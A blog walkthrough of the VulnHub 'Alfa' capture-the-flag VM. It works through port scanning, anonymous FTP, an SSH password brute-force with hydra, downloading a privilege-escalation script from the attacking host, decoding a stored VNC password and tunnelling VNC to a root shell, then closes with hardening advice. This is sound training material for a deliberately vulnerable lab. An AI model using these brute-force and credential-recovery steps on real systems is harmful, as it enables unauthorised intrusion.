Vulnhub Walkthrough – Alfa by d4t4s3c

Alfa Walthrough

Here is a walkthrough for the VulnHub virtual machine ‘Alfa’. This was published on December 23rd 2020 by d4t4s3c. I haven’t done much penetration testing since passing the OSCP exam in 2019 so I was a bit rusty here and has to watch a few YouTube walkthroughs when I got stuck. This box has some interesting challenges – about 50% CTFish and 50% practical (real world scenario). So let’s have a look!

The description says that this is suited for Oracle VirtualBox. I tried getting it to work in VMWare Workstation however it did not seem to be getting a DHCP lease so after trying a few things to get it working in VMWare I relented and ran Alfa in VirtualBox and used VMWare Workstation Pro for my attacking machine. This requires setting up VMWare Workstation and VirtualBox to have interfaces on the same virtual network. I’ll make a post detailing this setup at a later date in case anyone gets stuck here.

Once Alfa was running I pinged a few address in the early DHCP pool to discover the IP address of Alfa: 192.168.56.104 in this case. Time to do some enumeration (partial output):

┌──(satiex㉿Kali)-[~]
└─$ nmap -p- -A -T4 192.168.56.104
...
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.38 ((Debian))
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
65111/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
...

Of note, it seems an FTP server, a web server, and SMB are running on common ports, and an SSH server is running on an uncommon port.

More enumeration for SMB reveals the username ‘thomas’ (partial output):

┌──(satiex㉿Kali)-[~]
└─$ enum4linux -a 192.168.56.103
...
========================================================================= 
| Users on 192.168.56.104 via RID cycling (RIDS: 500-550,1000-1050) |
========================================================================= 
[I] Found new SID: S-1-22-1
[I] Found new SID: S-1-5-21-3294093560-2071990640-1561261904
[I] Found new SID: S-1-5-32
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\thomas (Local User)

Viewing the home page of the website doesn’t reveal anything – none of the menu links work.

More enumeration on the website reveals a robots.txt file (partial output):

┌──(satiex㉿Kali)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.56.104 -x php,txt,html,bak 130 ⨯
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.104
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php,txt,html,bak
[+] Timeout: 10s
===============================================================
2021/04/17 20:28:44 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 317] [--> http://192.168.56.104/images/]
/index.html (Status: 200) [Size: 3870] 
/css (Status: 301) [Size: 314] [--> http://192.168.56.104/css/] 
/js (Status: 301) [Size: 313] [--> http://192.168.56.104/js/] 
/robots.txt (Status: 200) [Size: 459] 
/fonts (Status: 301) [Size: 316] [--> http://192.168.56.104/fonts/]
...

Note that robots.txt is a file that you would usually check for anyway as it can reveal hidden files or directories, but I’m adding this for completion. Let’s view the robots.txt file:

┌──(satiex㉿Kali)-[~]
└─$ curl http://192.168.56.104/robots.txt 
/home
/admin
/login
/images
/cgi-bin
/intranet
/wp-admin
/wp-login
...
...
...
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>+++++++++++++++++.>>---.+++++++++++.------.-----.<<--.>>++++++++++++++++++.++.-----..-.+++.++.

This robots.txt file is tricky because at the top it tricks you into believing that this is a WordPress website, however none of the directories listed here exist. I tried pointing WPScan at the website anyway however it reports that no WordPress websites are detected. On the 262nd line, you will find a string of seemingly random symbols. It turns out that this is a code for an programming language called ‘Brainfuck‘. This is a minimalist programming language created as somewhat of an experiment or challenge. In researching the language, I came across a PC game based on the language available on Steam.

A few compilers are available online. Using this one, I was able to reveal a hidden page: /alfa-support:

I’ll note here that this is totally unrealistic – there are no practical reasons to include an obfuscated directory in the robots.txt file.

Visiting this page reveals a conversation between a ‘Thomas’ and and IT support team where details about Thomas’s password are discussed:

◈Thomas:➤Hi! I am Thomas Miller, employee number 300197 ✔✔

◈Alfa IT Support:➤Good morning! nice to greet you Thomas, ¿How can help you? ✔✔

◈Thomas:➤I have a problem with my password, I partially forgot it, I only remember that it is the name of my pet followed by 3 numerical digits. Could you reset my password? ✔✔

◈Alfa IT Support:➤With pleasure Thomas, in a maximum of 24-48 hours you will receive an SMS on your corporate phone with your new temporary password, which you will have to change later. regards. ✔✔

◈Thomas:➤thank you very much, regards ✔✔

Finding a past conversation on this page is also quite unrealistic however  it provides some useful clues for Thomas’s password.

We haven’t explored the FTP server yet. The first thing to we can try is logging in as a guest with a username of ‘anonymous’ and no password. This works and a file called ‘milo.jpg’ is retrieved from a directory called ‘thomas’. Partial output:

──(satiex㉿Kali)-[~/Desktop/alfa]
└─$ ftp 192.168.56.104 
Connected to 192.168.56.104.
220 (vsFTPd 3.0.3)
Name (192.168.56.104:satiex): anonymous
331 Please specify the password.
Password:
230 Login successful.
ftp> ls
drwxr-xr-x 2 0 0 4096 Dec 17 13:02 thomas
ftp> cd thomas
ftp> ls
-rw-r--r-- 1 0 0 104068 Dec 17 12:49 milo.jpg
ftp> get milo.jpg
local: milo.jpg remote: milo.jpg
226 Transfer complete.
ftp> exit
┌──(satiex㉿Kali)-[~/Desktop/alfa]
└─$ file milo.jpg 
milo.jpg: JPEG image data, baseline, precision 8, 1280x720, components 3

The file is a photo of a dog – we can assume that this is Thomas’s pet named Milo.

Based on the hint we received earlier, we can attempt to log into the box as ‘thomas’. The password is probably something like milo followed by three numbers. We can curate a password list and then launch a bruteforce attack against the SSH server. I used Microsoft Excel to quickly make a password list with all possible combinations – milo000 to milo999. Excel makes this easy because you can drag the corner of the first cell down and it will auto-populate the rest of the cells. Copy the results to a plain text file ready for use with our bruteforce attack:

Partial output:

┌──(satiex㉿Kali)-[~/Desktop/alfa]
└─$ hydra -l thomas -P ~/Desktop/alfa/milopass.txt 192.168.56.104 -s 65111 ssh 
[DATA] attacking ssh://192.168.56.104:65111/
[STATUS] 161.00 tries/min, 161 tries in 00:01h, 841 to do in 00:06h, 16 
...
[65111][ssh] host: 192.168.56.104 login: thomas password: milo666
1 of 1 target successfully completed, 1 valid password found

The password is revealed: milo666. We can now log into the server via SSH and retrieve the user flag!

We now need to escalate our privileges to get the root flag. If Python is available on Alfa, we can use  the LinuxPrivChecker Python script by SecuritySift and maintained Sleventyeleven. We can host the script on our attacking machine using SimpleHTTPServer and use wget Alfa to put it across. The output from the script is lengthy, so we should output it to a text file in Alfa’s FTP directory that we already know we can put files from. Partial output:

thomas@Alfa:~$ which python
/usr/bin/python
thomas@Alfa:~$ wget 192.168.56.102:8080/linuxprivchecker.py
--2021-04-14 21:11:47-- http://192.168.56.102:8080/linuxprivchecker.py
Conectando con 192.168.56.102:8080... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Grabando a: “linuxprivchecker.py”
linuxprivchecker.py 100%[===================================================================>] 36,32K --.-KB/s en 0,01s

We can run the script and download the output file from the Alfa FTP server (which is Thomas’s home directory). Viewing the output file, we notice that Alfa is listening on port 5901, which is one of the default ports for a VNC server. A hidden file in Thomas’s directory is called ‘.remote_secret’.  Running the ‘file’ command describes it simply as ‘data’. By renaming it to remove the . we can download it from the FTP server and have a look at it. It’s a binary file. Viewing some documentation for VNC, we can see that once a password can be saved as a binary file in an obfuscated form. This password can then be used as an argument when connecting to a VNC server rather than typing a password. The same documentation also warns that it is trivial to reveal the plain text password if you have access to the VNC server. So let’s explore this.

This blog post at brought my attention to a program called vncpwd by Luigi Auriemma that should work for this. It’s a Windows tool. I copied the file to Windows and ran it. The output reports that it can take hex of a password file as an argument:

On Kali:

┌──(satiex㉿Kali)-[~/Desktop/alfa]
└─$ xxd -ps remote_secret 1 ⨯
d022e00043041e63d022e00043041e63

On Windows:

We have revealed the VNC password as ‘k!LL3rSsk!LL3rSs’. Now we can try logging into the VNC server. Because Alfa is only listening for VNC connections from itself, we have to tunnel the VNC protocol over the SSH connection we were able to gain using Thomas’s account. The ssh man describes this (partial output):

-L [bind_address:]port:host:hostport
-L [bind_address:]port:remote_socket
-L local_socket:host:hostport
-L local_socket:remote_socket
Specifies that connections to the given TCP port or Unix socket on the local (client) host are to be forwarded to the given host and port, or Unix socket, on the remote side. This works by allocating a socket to listen to either a TCP port on the local side, optionally bound to the specified bind_address, or to a Unix socket. Whenever a connection is made to the local port or socket, the connection is forwarded over the secure channel, and a connection is made to either host port hostport, or the Unix socket remote_socket, from the remote machine.
So our command looks like this:

┌──(satiex㉿Kali)-[~]
└─$ ssh -p 65111 -L 5901:localhost:5901 thomas@192.168.56.104

We can now try connecting to the VNC server over the SSH tunnel:

VNCviewer connects to Alfa. We’re presented with Xterm, which is running as root. We can reveal the the root flag in root.txt!

Recommendations

The purpose of ethical hacking and penetration testing is to assist system owners with making their systems more secure, so even though this is an unrealistic scenario I’ll make the following recommendations:

  1. Remove the obfuscated directory from the robots.txt file. This does not serve any purpose.
  2. Disable anonymous FTP access.
  3. Disable FTP access all together as it is an insecure protocol unless being used over SSH.
  4. Use certificate authentication for SSH access instead of/as well as password authentication.
  5. Enforce a password policy that requires longer and more complex passwords.
  6. Do not leave VNC password files around (these could be encrypted if required) – also, don’t use VNC at all. It’s an insecure protocol.